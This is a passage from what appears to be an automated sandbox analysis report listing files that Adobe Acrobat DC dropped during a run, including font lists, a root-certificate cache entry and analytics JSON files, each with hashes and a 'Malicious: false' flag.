SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklWtzmGLlltfllXlE/HT8kkNNX8RolJuRdxLlGB9lQRYwpDdt:kKPfeT8/NMa8RdWBwRd
MD5:	6A64288FA274EE9DD82830F1936AEB18
SHA1:	E078D0550C3014651764957D7440350ED0DA6587
SHA-256:	1C1C2139B151A51E4F7489107CAD8D0F87F67AF43ED69BFAFFB1B45E3E3B5362
SHA-512:	1AA72202B5B2396070577B82A4EE6136CA80EE0BC1FE4B3A4F5C0155FDE89C5CCED6EE605FEBF634679B7FF25892FAD71F9DF3D59664B72C9CD8E7606D2C2C4F
Malicious:	false
Preview:	p...... ...........V.c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2380

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2380

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.372468797917235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJM3g98kUwPeUkwRe9:YvXKXV4xZc0vgGMbLUkee9
MD5:	C0413357BB06A32B1181D1F91FD58C05
SHA1:	59564CB2FEE837EEFAF89139A4947312017CEC8B
SHA-256:	D382AB613D9E021CF2F558299668B594C3FB988347470E0A1306A157D0A42212
SHA-512:	C3CAEC6BA34D2A461727CF9029B78C98F4B76C0BD07AB2D6B021F453A1ED72995145B73899380EB457A484CC9B1D70D6DF135508DEAF6F77ED1D1AEA2D6769F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325925299174388
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfBoTfXpnrPeUkwRe9:YvXKXV4xZc0vgGWTfXcUkee9
MD5:	EBD26172E00343F15BFDAD79E26C2BF3
SHA1:	4B9363492FE840DD1FCC205C39CFDC416A7DE5C7
SHA-256:	B88115C41A78499EC381AA50C71FF40AEF8EE71EFCC810005CF997324EA288D8
SHA-512:	486CD3E9023DEB66D1679F04C5507FAD85C2298DEADC4B4D2CA39F5FC8E7191753F3DCDD773FB4C28E5654CBE8BCE2A6C62C225309A10C2D2C7970E5CACE59C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30346849739301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfBD2G6UpnrPeUkwRe9:YvXKXV4xZc0vgGR22cUkee9
MD5:	947C0E73F281B41125728491F6EA2621
SHA1:	45184A4D01E1FF2BE651C7C0582C0EAB6272AB77
SHA-256:	3686AB217783A3D62F04DDB8A6FD8B087CCD7FB299D9596C83920199B4A57E5D
SHA-512:	F6AC3B4246EABDA1F189C698DEFCE52AEC9D863974E5BD8DA88A24A10C06924BFD90AE667B532F741AEC0A11C93DCD362014228263B512DA4BBD9C624AF65AE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3597987922387125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfPmwrPeUkwRe9:YvXKXV4xZc0vgGH56Ukee9
MD5:	07BEA86B964BF0A687E9169BE718A2B1
SHA1:	B3248EB9DCF98BC07503E826942C47BA1DEA9906
SHA-256:	E4E85656FF9624FD0F8DA6D8CD1436979187BACA0F6B135ACA162F767169A5F3
SHA-512:	6B738E1CD4F6FCE6B71689EABE4CFB2C3C848F63634667B0F6C4E8BB8ED4FF5D2F36E6204DE64ABFCF58E9F9B8AE327E08AF192F3C52AC953DB68410F7B2A875
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690928711099192
Encrypted:	false
SSDEEP:	24:Yv6XV4xzv9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSocY:YvI4lVhgy6SAFv5Ah8cv/op
MD5:	B80BBF18BAC8A20A6C53568028BB48E1
SHA1:	2E8D3757EF89EDCF320CF1B4FBA7F7DAE63B4BB2
SHA-256:	C8045D3F519E42534F65839F4AAF4D5E3063FC4D2B69FDD3AA78C2821C093942
SHA-512:	AF2108A4D819069B45705473BC06B24A3621D9EED13888E9B29465CD08318A25A479EC33299E411FB68071713B0FDEE826F86A211E466E03D32475783117D3B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305841892175599
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJf8dPeUkwRe9:YvXKXV4xZc0vgGU8Ukee9
MD5:	D9064483C431A1B20673373B74B0CE1A
SHA1:	B7E902F8EF5453E4C1CC617E97DCBB4BB00388DC
SHA-256:	43366700E4EA3AD91C890FE5B4CA6CF9D956B5B2E5848C9EE5C4B7A2A4CC1CDF
SHA-512:	7A340DC0ABC1306D0EAA0BE72594132B3BC2EA2F07470D24A3FDFDF3A9D539E010DD1093C5207A9C657C4807D96B3385F6862F1AF0117FE87FEE4097215F1057
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3099733077551505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfQ1rPeUkwRe9:YvXKXV4xZc0vgGY16Ukee9
MD5:	6C778CAE3F7EF4F3238BB01B0D8D2F7B
SHA1:	06F4D84EFD9FF55EDE2D70CF42F40D50B5A5F0FB
SHA-256:	7FDAC38DE0853EC17522316EF523FD08C8A0FEAA90D03B3E11E54B0796733A97
SHA-512:	EEC3B20C5B2C4887BCEA78568BEFFE4FBE40F6F5DF0EEF2ED24330E5814F80ECE819AFBD7BDF6E8B55F10B3884125F0A7A34F769B628E5E28928172F7A6EF3DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314047932398408
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfFldPeUkwRe9:YvXKXV4xZc0vgGz8Ukee9
MD5:	C51FBC943871788151F7E618C8B1BB7F
SHA1:	23343308C7AC8EE1297BED39E2FC0FC77C2AEB00
SHA-256:	9EC45435D6B9A3A147E549209A12E478231D19F281CB58160AA0DD873A2509F8
SHA-512:	BF5EE7061051A0006EE371718647E76DC0D0C9006D6D8D99ECFB9DCBAD561068DC35147D5C5B8785F8E4910F5AC755DB29CF54BF84FBA4F7FB0FF054BFA0DFAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3325689596779755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfzdPeUkwRe9:YvXKXV4xZc0vgGb8Ukee9
MD5:	05192F1225B781ED9AE27BB920C37ACE
SHA1:	D9163E402C1E2182F09C54497EFA4077B74C9DAE
SHA-256:	7F8AC9C5D37CCFDC76BA7BA6D14C9D5B9E3308F12E16776D27CC4C678969E9AC
SHA-512:	F35E7D837AF19917C3C100CEE0A31B1CAF5625EE972E950DD76E8A9EDFF01CE814267BD4F969A6D9C0D923407C2A3D7271BF630A63E43F0E786B82A2BDDC602B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313193043659643
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfYdPeUkwRe9:YvXKXV4xZc0vgGg8Ukee9
MD5:	5A42E6101D21091DF65ADFDFEEC967EC
SHA1:	2C0BA1E66E81BFC71F92FF2A5CB3D30555AE12F7
SHA-256:	6235BE3BDE7DFA2FE7AA5AC3A14AC6008E51C1A0FE17E329EB256022BE5D8457
SHA-512:	13AE9E16D892C9A01881245DFEEA452149EB6B546148D113BACDBBDC67C1ECA37FDA69E22218BC03A4C7ED92A55F2A31E0E019013128D9A5739789B302B0E2C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.299157986844892
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJf+dPeUkwRe9:YvXKXV4xZc0vgG28Ukee9
MD5:	CBF8C89F76A2E1A1B49F0397DF075FEE
SHA1:	628006947B610754E7CD1A1E7207E15A25989E5C
SHA-256:	D39F7F4B801E72D23C67D345B041965AA6DF01AABB137A33D124BC26A8890217
SHA-512:	CDCC28B9520C3A3510DB4E54DD84BF4B44AE7DF1FD77FD8862266061E6D20D67C16B60865AD99B096383CE19091CC711600C0EBEFC4BB4D4AC1136CF206B9AD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.296649467493922
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJfbPtdPeUkwRe9:YvXKXV4xZc0vgGDV8Ukee9
MD5:	7B2DFC513C78F171F2A9B6102F5E4D11
SHA1:	4342AE84817731F305C250D738377941AC4D5A3E
SHA-256:	059C722BA482CA39284D09B8632CB9F4CF239794E81745CF4F5F2BCAD57574F5
SHA-512:	599277F19C07D22B67CE08088169A39BEC7C77D0423955FD9801F96FE3C685BD496B3BA556E8E086E7A35095524A698C96BFB9D7B3BB70EAAB2D10BD52E1DFB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c42022d-8c8d-4124-b692-8a80732d43dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736734225793,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3011691509451175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQG4uHVoZcg1vRcR0YwoAvJf21rPeUkwRe9:YvXKXV4xZc0vgG+16Ukee9
MD5:	9CDEDF56E8CC2836FBC131CEC3351D5B
